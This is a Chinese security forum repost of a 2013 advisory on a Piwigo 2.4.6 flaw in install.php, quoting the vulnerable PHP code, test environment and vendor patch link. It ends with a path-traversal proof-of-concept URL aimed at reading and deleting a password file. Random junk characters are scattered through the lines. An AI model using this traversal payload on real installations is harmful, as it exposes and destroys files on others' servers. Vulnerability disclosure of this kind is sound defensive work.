找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2556|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。) Z( h# I3 H  m" I
9 ~2 |  S' ^, f
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
# Q/ W+ n. Z' ]====================================================================, w9 \% \0 h, e
/install.php:
* x$ ]" T% H- W9 n4 l1 @-------------
2 i1 a1 {1 `% W1 P& d0 W113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))3 b/ m  A7 y  b, w) b
114: {5 W0 a) |: y9 q0 T+ f1 y6 F
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];: [9 w5 n& V4 ?. w7 Y
116:   header('Cache-Control: no-cache, must-revalidate');
3 Z! a' I6 M! A) A) X* J117:   header('Pragma: no-cache');
+ N1 L8 Q( d. x7 w  g/ a118:   header('Content-Disposition: attachment; filename="database.inc.php"');& G* f# ]4 d% a! s+ S
119:   header('Content-Transfer-Encoding: binary');
" s! ?5 u$ L& b120:   header('Content-Length: '.filesize($filename));
0 r% |2 Q0 l' C. d6 C121:   echo file_get_contents($filename);# v- m, t9 w6 W  Q, [+ l% V, Q- f
122:   unlink($filename);
: X, o, V3 n+ x* Z4 ~, O& o123:   exit();/ o$ W* Y  u+ e% }' _
124: }6 C; W5 a) |* i
====================================================================" G$ Q6 ^, e. Z1 {* E: W/ S
3 J, ^. D, ^5 B/ E, Y! f+ A4 b) F
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)7 P9 y3 K) N" ?" I) o& v' y- v
           Apache 2.4.2 (Win32)
, `7 B( x* X* F2 r0 h# v  f6 R; A           PHP 5.4.4& d2 k! `& E$ t
           MySQL 5.5.25a: ?: T* f& Z: Q& Z

. k7 ?* a* Y# W) t$ c7 }1 fVulnerability discovered by Gjoko 'LiquidWorm' Krstic
& ^% J- R* S$ m( s; O: O, E                            @zeroscience- Q/ a4 j2 @% A8 T% y' E

- r) J0 Y- g" Y& ZAdvisory ID: ZSL-2013-5127: c6 h* s+ u0 M% R0 ~9 D
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php) E" L4 b5 O+ |5 T
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
- J$ j- [, o% k$ {; {
; C+ n( |* b& p' B15.02.2013
# W; r, z) e5 _4 T; p2 ^6 { 3 H( m# c5 {& O/ N2 E$ L" ~) [+ [
--& D) J5 `  o; E4 r
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
5 p( E2 k' @) I2 J) Q+ E+ m 5 G, B4 W" a: I* J. V: _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表